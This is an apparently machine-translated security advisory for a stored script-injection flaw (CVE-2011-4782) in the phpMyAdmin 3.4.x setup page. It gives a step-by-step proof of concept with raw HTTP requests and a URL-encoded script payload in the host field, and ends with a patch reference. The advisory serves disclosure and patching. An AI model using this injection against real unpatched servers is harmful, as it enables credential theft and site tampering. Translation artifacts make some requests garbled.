PhpMyAdmin "$ host" variable HTML Injection Vulnerability

Release date: 2011-12-22
Updated on: 2011-12-26

Affected Systems:
PhpMyAdmin 3.4.x
Unaffected system:
PhpMyAdmin 3.4.9
Description:
--------------------------------------------------------------------------------
Bugtraq id: 51166
Cve id: CVE-2011-4782

PhpMyAdmin is written in PHP and can be used to control and operate MySQL databases on the web.

PhpMyAdmin allows you to add a database server through the Setup interface, but does not have any input verification on the host name. Attackers can exploit the $ host variable's HTML injection vulnerability to steal authentication creden。 or control the appearance of the site.

<* Source: Jason Leyrer

Link: http://www.phpmyadmin.net/home_page/security/PMASA-2011-19.php
Https://www.trustwave.com/spiderlabs/advisories/TWSL2011-019.txt
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Jason Leyrer () provides the following test methods:

1. Request the Setup interface's index page in order to obtain
PhpMyAdmin cookie and the value of 'Token', which appears in the response
Body:

Request
-------
GET/phpmyadmin/setup/index. php HTTP/1.1

Response
--------
HTTP/1.1 200 OK
Date: Thu, 01 Dec 2011 16:42:17 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3. 2
Set-Cookie: phpMyAdmin = 12l6mt8qnlme3o673h75fuj5a6qijnvf; path =/phpmyadmin/setup/; HttpOnly
Expires: Thu, 01 Dec 2011 16:42:17 GMT
Cache-Control: no-store, no-cache, must-revalidate, pre-check = 0, post-check = 0, max-age = 0
Last-Modified: Thu, 01 Dec 2011 16:42:17 GMT
Set-Cookie: pma_lang = en; expires = Sat, 31-Dec-2011 16:42:17 GMT; path =/phpmyadmin/setup/; httponly
X-Frame-Options: SAMEORIGIN
X-Content-Security-Policy: allow 'self '; options inline-script eval-script; frame-ancestors 'self'; img-src 'self 'data :; script-src 'self 'www.phpmyadmin.net
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 7722
Content-Type: text/html; charset = UTF-8

--- Snip ---

<Input type = "hidden" name = "token" value = "5acce3a965bbe9d42ce50bdf3d491ed9"/>

2. Input javascript (% 3 Cscript % 3 Ealert % 28% 27XSS % 27% 29% 3B % 3C % 2 Fscript % 3E)
The 'servers-0-host' input field in Add New Server mode, as shown in
Postdata of the following request:

Request
-------
POST/phpmyadmin/setup/index. php? PhpMyAdmin = login & tab_hash = & check_page_refresh = 1 & lang = en & collation_connection = utf8_general_ci & token = login & page = servers & mode = add & submit = New + server HTTP/1.1
Host: 192.168.23.128
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv: 8.0.1) Gecko/20100101 Firefox/8.0.1
Accept: text/html, application/xhtml + xml, application/xml; q = 0.9, */*; q = 0.8
Accept-Language: en-us, en; q = 0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1, UTF-8; q = 0.7, *; q = 0.7
Proxy-Connection: keep-alive
Referer: http: // 192.168.23.128/phpmyadmin/setup/index. php? PhpMyAdmin = login & tab_hash = & check_page_refresh = 1 & lang = en & collation_connection = utf8_general_ci & token = login & page = servers & mode = add & submit = New + server
Cookie: phpMyAdmin = 12l6mt8qnlme3o673h75fuj5a6qijnvf; pma_lang = en
Content-Type: application/x-www-form-urlencoded
Content-Length: 1430

Tab_hash = & check_page_refresh = 1 & collation_connection = utf8_general_ci & token = queue & Servers-0-verbose = & Servers-0-host = % 3 Cscript % 3 Ealert % 28% 27XSS % 27% 29% 3B % 3C % 2 Fscript % 3E & Servers-0-port = & Servers-0-socket = & Servers-0-connect_type = tcp & Servers-0-extension = mysqli & submit_save = Save & Servers-0-auth_type = cookie & Servers-0-user = root & Servers-0-password = & Servers-0-auth_swekey_config = & Servers-0-auth_http_realm = & Servers-0-SignonSession = & Servers-0-SignonURL = & Servers-0-LogoutURL = & Servers-0-only_db = & Servers-0-only_db-userprefs-allow = & = on & servers-0-hide_db = & Servers-0-hide_db-userprefs-allow = on & Servers-0-AllowRoot = on & Servers-0-DisableIS = on & Servers-0-AllowDeny-order = & Servers-0-AllowDeny-rules = & Servers-0-ShowDatabasesCommand = & SHOW + DATABASES & Servers-0-pmadb = & Servers-0-controluser = & Servers-0-controlpass = & Servers-0-verbose_check = & on & servers-0-bookmarktable = & Servers-0-relation = & Servers-0-userconfig = & Servers-0-table_info = & Servers-0-column_info = & Servers-0-history = & Servers-0-tracking = & Servers-0-table_coords = & Servers-0-pdf_pages = & Servers-0-designer_coords = & Servers-0-tracking_default_statements = CREATE + TABLE % 2 CALTER + TABLE % 2 cddrop + TABLE % 2 CRENAME + TABLE % 2 CCREATE + INDEX % 2 cddrop + INDEX % 2 CINSERT % 2 CUPDATE % 2 CDELETE % 2 CTRUNCATE % 2 CREPLACE % 2 CCREATE + VIEW % 2 CALTER + VIEW % 2 cddrop + VIEW % 2 CCREATE + DATABASE % 2 CALTER + DATABASE % 2 cddrop + DATABASE & Servers-0-tracking_add_drop_view = on & Servers-0-tracking_add_drop_table = on & Servers-0-tracking_add_drop_database = on

3. View unsanitized script tags on the Setup overview page:

Request
-------
GET/phpmyadmin/setup/index. php HTTP/1.1
Host: 192.168.23.128
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv: 8.0.1) Gecko/20100101 Firefox/8.0.1
Accept: text/html, application/xhtml + xml, application/xml; q = 0.9, */*; q = 0.8
Accept-Language: en-us, en; q = 0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1, UTF-8; q = 0.7, *; q = 0.7
Proxy-Connection: keep-alive
Referer: http: // 192.168.23.128/phpmyadmin/setup/index. php? PhpMyAdmin = login & tab_hash = & check_page_refresh = 1 & lang = en & collation_connection = utf8_general_ci & token = login & page = servers & mode = add & submit = New + server
Cookie: phpMyAdmin = 12l6mt8qnlme3o673h75fuj5a6qijnvf; pma_lang = en

Response
--------
HTTP/1.1 200 OK
Date: Thu, 01 Dec 2011 16:44:18 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3. 2
Expires: Thu, 01 Dec 2011 16:44:18 GMT
Cache-Control: no-store, no-cache, must-revalidate, pre-check = 0, post-check = 0, max-age = 0
Last-Modified: Thu, 01 Dec 2011 16:44:18 GMT
X-Frame-Options: SAMEORIGIN
X-Content-Security-Policy: allow 'self '; options inline-script eval-script; frame-ancestors 'self'; img-src 'self 'data :; script-src 'self 'www.phpmyadmin.net
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 7852
Content-Type: text/html; charset = UTF-8

--- Snip ---

<Div class = "notice" id = "Servers/1/ssl">

Please note that valid database credentials are not required to exploit
This vulnerability.

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

PhpMyAdmin
----------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://www.phpmyadmin.net/home_page/security/